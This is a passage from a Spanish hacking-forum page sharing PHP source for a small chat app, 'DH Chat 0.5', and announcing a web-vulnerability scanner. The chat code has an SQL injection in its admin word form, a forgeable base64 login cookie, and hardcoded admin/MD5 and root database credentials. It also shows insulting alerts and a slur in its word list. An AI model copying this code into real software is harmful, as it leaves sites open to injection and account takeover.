  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "admin.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  18. <html xmlns="http://www.w3.org/1999/xhtml">
  19.   <head>
  20.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  21.      <title>Login</title>
  22.      <link rel="shortcut icon" href="images/icono.png">
  23.      <link href="style.css" rel="stylesheet" type="text/css" />
  24.   </head>
  25.   <body>
  26.      <center><br>
  27.         <div class="post">
  28.            <h3>Login</h3>
  29.            <div class="post_body">
  30.               <img src="images/login.jpg" width="562" height="440" />
  31.               <br />
  32.               <form action="" method=POST>
  33.                  Username : <input type=text size=30 name=username /><br /><br />
  34.                  Password : <input type=password size=30 name=password /><br /><br />
  35.                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
  36.               </form>
  37.            </div>
  38.         </div>
  39.      </center>
  40.   </body>
  41. </html>';
  42.  
  43.    if (isset($_POST['login'])) {
  44.  
  45.        $test_username = $_POST['username'];
  46.        $test_password = md5($_POST['password']);
  47.  
  48.        if ($test_username == $username && $test_password == $password) {
  49.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  50.            echo "<script>alert('Welcome idiot');</script>";
  51.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  52.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
  53.        } else {
  54.            echo "<script>alert('Fuck You');</script>";
  55.        }
  56.    }
  57.  
  58. } else {
  59.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  60. }
  61.  
  62. // The End ?
  63.  
  64. ?>
  65.  

admin.php

Código
  1. <?php
  2.  
  3. // DH Chat 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6.  
  7. // Login
  8.  
  9. $username = "admin"; // Edit
  10. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  11.  
  12. // DB
  13.  
  14. $host  = "localhost"; // Edit
  15. $userw = "root"; // Edit
  16. $passw = ""; // Edit
  17. $db    = "chat"; // Edit
  18.  
  19. if (isset($_COOKIE['login'])) {
  20.  
  21.    $st = base64_decode($_COOKIE['login']);
  22.  
  23.    $plit = explode("@", $st);
  24.    $user = $plit[0];
  25.    $pass = $plit[1];
  26.  
  27.    if ($user == $username and $pass == $password) {
  28.  
  29.        echo '
  30. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  31. <html xmlns="http://www.w3.org/1999/xhtml">
  32.   <head>
  33.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  34.      <title>DH Chat 0.5</title>
  35.      <link rel="shortcut icon" href="images/icono.png">
  36.      <link href="style.css" rel="stylesheet" type="text/css" />
  37.   </head>
  38.   <body>
  39.   <center>
  40.   ';
  41.  
  42.        mysql_connect($host, $userw, $passw);
  43.        mysql_select_db($db);
  44.  
  45.        echo '         <br><img src="images/chat.png" /><br>';
  46.  
  47.        if (isset($_POST['instalar'])) {
  48.  
  49.            $todo = "create table mensajes (
  50. id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  51. mensaje TEXT NOT NULL,
  52. apodo VARCHAR(255) NOT NULL,
  53. PRIMARY KEY (id_comentario));
  54. ";
  55.  
  56.            $todo2 = "create table insultos (
  57. id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  58. mensaje TEXT NOT NULL,
  59. PRIMARY KEY (id_insulto));
  60. ";
  61.  
  62.            if (mysql_query($todo)) {
  63.                if (mysql_query($todo2)) {
  64.  
  65.                    $insultos = array(
  66.                        "lammer",
  67.                        "lamer",
  68.                        "maricon",
  69.                        "noob"
  70.                    );
  71.  
  72.                    foreach ($insultos as $con) {
  73.                        @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
  74.                    }
  75.  
  76.                    echo "<script>alert('Installed');</script>";
  77.                    echo '<meta http-equiv="refresh" content=0;URL=>';
  78.                }
  79.            } else {
  80.                echo "<script>alert('Error');</script>";
  81.            }
  82.        }
  83.  
  84.        if (mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
  85.  
  86.            //
  87.  
  88.            $re = mysql_query("select * from mensajes order by id_comentario ASC");
  89.  
  90.            if (isset($_GET['id'])) {
  91.                if (is_numeric($_GET['id'])) {
  92.                    if (@mysql_query("delete from mensajes where id_comentario='" . $_GET['id'] . "'")) {
  93.                        echo "<script>alert('Comment deleted');</script>";
  94.                    } else {
  95.                        echo "<script>alert('Error');</script>";
  96.                    }
  97.                }
  98.            }
  99.  
  100.            $sql       = "select id_comentario from mensajes";
  101.            $resultado = mysql_query($sql);
  102.            $cantidad  = mysql_num_rows($resultado);
  103.  
  104.            echo '
  105.            <div class="post">
  106.                <h3>Comments : ' . $cantidad . '</h3>
  107.                   <div class="post_body"><br>';
  108.            if ($cantidad <= 0) {
  109.                echo '<b>No entries found</b><br>';
  110.            } else {
  111.                echo "<table>";
  112.                echo "<td><b>ID</b></td><td><b>Nick</b></td><td><b>Text</b></td><td><b>Option</b></td><tr>";
  113.  
  114.                while ($ver = mysql_fetch_array($re)) {
  115.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?id=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  116.                }
  117.  
  118.                echo "</table>";
  119.  
  120.            }
  121.  
  122.            echo '                <br></div>
  123.            </div>';
  124.  
  125.            if (isset($_POST['new_word'])) {
  126.                $in = $_POST['word'];
  127.                if (@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')")) {
  128.                    echo "<script>alert('Word added');</script>";
  129.                } else {
  130.                    echo "<script>alert('Error');</script>";
  131.                }
  132.            }
  133.  
  134.            if (isset($_GET['del_word'])) {
  135.                if (is_numeric($_GET['del_word'])) {
  136.                    if (@mysql_query("delete from insultos where id_insulto='" . $_GET['del_word'] . "'")) {
  137.                        echo "<script>alert('Word deleted');</script>";
  138.                    } else {
  139.                        echo "<script>alert('Error');</script>";
  140.                    }
  141.                }
  142.            }
  143.  
  144.            echo '
  145.         <div class="post">
  146.            <h3>Block words</h3>
  147.            <div class="post_body"><br>
  148.            ';
  149.  
  150.            echo "
  151. <form action='' method=POST>
  152. <b>Word : </b><input type=text name=word>
  153. <input type=submit name=new_word style='width: 100px;' value=Add>
  154. </form>";
  155.  
  156.            echo '
  157.            <br>
  158.            </div>
  159.         </div>
  160.         ';
  161.  
  162.  
  163.            $sql       = "select id_insulto from insultos";
  164.            $resultado = mysql_query($sql);
  165.            $cantidad  = mysql_num_rows($resultado);
  166.  
  167.            echo '
  168.         <div class="post">
  169.            <h3>Words blocked : ' . $cantidad . '</h3>
  170.            <div class="post_body"><br>
  171.            ';
  172.  
  173.            $rea = mysql_query("select * from insultos order by id_insulto ASC");
  174.  
  175.            if ($cantidad <= 0) {
  176.                echo '<b>No entries found</b><br>';
  177.            } else {
  178.                echo "<table>";
  179.                echo "<td>ID</td><td>Word</td><td>Option</td><tr>";
  180.                while ($ver = mysql_fetch_array($rea)) {
  181.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?del_word=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  182.                }
  183.  
  184.                echo "</table>";
  185.  
  186.            }
  187.  
  188.            echo '
  189.            <br>
  190.            </div>
  191.         </div>
  192.         ';
  193.  
  194.        } else {
  195.  
  196.            echo '
  197.            <div class="post">
  198.                <h3>Installer</h3>
  199.                   <div class="post_body">';
  200.  
  201.            echo "
  202. <form action='' method=POST>
  203. <h2>Do you want install DH Chat 0.5 ?</h2><br>
  204. <input type=submit name=instalar style='width: 100px;' value=Install>
  205. </form><br>";
  206.            echo '                </div>
  207.            </div>';
  208.        }
  209.  
  210.        echo '  
  211.   <br><h3>(C) Doddy Hackman 2015</h3><br>
  212.   </center>
  213.   </body>
  214. </html>';
  215.  
  216.        mysql_close();
  217.        exit(1);
  218.  
  219.    } else {
  220.        echo "<script>alert('Fuck You');</script>";
  221.    }
  222.  
  223. } else {
  224.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  225. }
  226.  
  227. // The End ?
  228.  
  229. ?>
  230.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42.  
  43. word-wrap: break-word;
  44. word-break:break-all;
  45. }
  46.  
  47. input {
  48. border-style:solid;
  49. border-color: gray;
  50. border-width: 1px;
  51. background: black;
  52. border: solid #222 2px;
  53. color:gray;
  54. font-family:helvetica,arial,sans-serif;
  55. font-size:14px;
  56. }
  57.  
  58. .post {
  59. background-color:black;
  60. color:gray;
  61. margin-bottom:10px;
  62. width:600px;
  63. word-wrap: break-word;
  64. }
  65.  
  66. .post h3 {
  67. background-color:black;
  68. color:orange;
  69. background-color:#000;
  70. border: solid #222 2px;
  71. -webkit-border-radius: 4px;
  72. -moz-border-radius: 4px;
  73. border-radius: 4px;
  74. padding:5px 10px;
  75. }
  76.  
  77. .post_body {
  78. background-color:black;
  79. margin:-20px 0 0 0;
  80. color:white;
  81. background-color:#000;
  82. border: solid #222 2px;
  83. -webkit-border-radius: 4px;
  84. -moz-border-radius: 4px;
  85. border-radius: 4px;
  86. padding:5px 10px;
  87. }
  88.  
  89. /* The End ? */
  90.  

chat.php

Código
  1. <?php
  2.  
  3. //DH Chat 0.5
  4. //(C) Doddy Hackman 2015
  5.  
  6. // DB
  7.  
  8. $host = "localhost"; // Edit
  9. $user = "root"; // Edit
  10. $pass = ""; // Edit
  11. $db   = "chat"; // Edit
  12.  
  13. //
  14.  
  15.  
  16. mysql_connect($host, $user, $pass);
  17.  
  18. echo '<link href="chat.css" rel="stylesheet" type="text/css" />';
  19.  
  20. echo "<table border=0 width='210' style='table-layout: fixed'>";
  21. echo "<td><b>DH Chat 0.5</b></td><tr>";
  22.  
  23.  
  24. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  25.  
  26. $s = mysql_fetch_row($sumo);
  27.  
  28. foreach ($s as $d) {
  29.    $total = $d;
  30. }
  31.  
  32. $test = $total - 10;
  33.  
  34. if ($test <= 0) {
  35.    next;
  36. } else {
  37.    $resto = $test;
  38.  
  39.    for ($i = 1; $i <= $resto; $i++) {
  40.        @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
  41.    }
  42. }
  43.  
  44. $re = @mysql_query("select * from mensajes order by id_comentario DESC");
  45.  
  46. while ($ver = @mysql_fetch_array($re)) {
  47.    echo "<td><b>" . htmlentities($ver[2]) . "</b> : " . htmlentities($ver[1]) . "</td><tr>";
  48. }
  49.  
  50.  
  51. echo "<br><br><td><br><b>Comment</b><br><br>    
  52. <form action='' method=POST>
  53. Nick : <input type=text name=apodo size=20><br><br>
  54. Text : <input type=text name=msg size=20><br><br>
  55. <input type=submit name=chatentro style='width: 100px;' value=Send>
  56. </form>
  57. <tr>
  58. <td><b>Coded By Doddy H</b></td><tr>
  59. </table>";
  60.  
  61.  
  62. if (isset($_POST['chatentro'])) {
  63.  
  64.    $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  65.  
  66.    $s = mysql_fetch_row($sumo);
  67.  
  68.    foreach ($s as $d) {
  69.        $x_id = $d + 1;
  70.    }
  71.  
  72.    $apodo   = htmlentities(addslashes($_POST['apodo']));
  73.    $mensaje = htmlentities(addslashes($_POST['msg']));
  74.  
  75.    $apodo   = substr($apodo, 0, 70);
  76.    $mensaje = substr($mensaje, 0, 70);
  77.  
  78.    $rex = mysql_query("select mensaje from insultos");
  79.  
  80.    while ($con = mysql_fetch_array($rex)) {
  81.        $mensaje = str_replace($con[0], "#$!*", $mensaje);
  82.        $apodo   = str_replace($con[0], "#$!*", $apodo);
  83.    }
  84.  
  85.    if (is_numeric($x_id)) {
  86.        @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
  87.    }
  88.  
  89.    echo '<meta http-equiv="refresh" content=0;URL=>';
  90.  
  91. }
  92.  
  93.  
  94. // The End ?
  95.  
  96. ?>
  97.  

chat.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. color:gray;
  15. font-family:helvetica,arial,sans-serif;
  16. font-size:14px;
  17. text-align:center;
  18. }
  19.  
  20. a:link {
  21. text-decoration:none;
  22. color:orange;
  23. }
  24. a:visited {
  25. color:orange;
  26. }
  27. a:hover {
  28. color:orange;
  29. }
  30.  
  31. td,tr {
  32. border-style:solid;
  33. border-color: gray;
  34. border-width: 1px;
  35. background: black;
  36. border: solid #222 2px;
  37. color:gray;
  38. font-family:helvetica,arial,sans-serif;
  39. font-size:14px;
  40. text-align:center;
  41.  
  42. word-wrap: break-word;
  43. word-break:break-all;
  44. }
  45.  
  46. input {
  47. border-style:solid;
  48. border-color: gray;
  49. border-width: 1px;
  50. background: black;
  51. border: solid #222 2px;
  52. color:gray;
  53. font-family:helvetica,arial,sans-serif;
  54. font-size:14px;
  55. }
  56.  
  57. .post {
  58. background-color:black;
  59. color:gray;
  60. margin-bottom:10px;
  61. width:600px;
  62. word-wrap: break-word;
  63. }
  64.  
  65. .post h3 {
  66. background-color:black;
  67. color:orange;
  68. background-color:#000;
  69. border: solid #222 2px;
  70. -webkit-border-radius: 4px;
  71. -moz-border-radius: 4px;
  72. border-radius: 4px;
  73. padding:5px 10px;
  74. }
  75.  
  76. .post_body {
  77. background-color:black;
  78. margin:-20px 0 0 0;
  79. color:white;
  80. background-color:#000;
  81. border: solid #222 2px;
  82. -webkit-border-radius: 4px;
  83. -moz-border-radius: 4px;
  84. border-radius: 4px;
  85. padding:5px 10px;
  86. }
  87.  
  88. /* The End ? */
  89.  

test.php

Código
  1. <body background="test.jpg">
  2.  
  3. <?php
  4.  
  5. include("chat.php");
  6.  
  7. ?>
  8.  

Si quieren bajar el programa lo pueden hacer de aca.

Cualquier sugerencia para mejorar este proyecto diganla para mejorar.

Saludos.
40  Programación / PHP / [PHP] DH Scanner 0.9 en: 20 Noviembre 2015, 23:53 pm
Version mejorada de este scanner en PHP hecho para buscar vulnerabilidades webs.

Tiene las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

Una imagen :



Un video con ejemplo de usos :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines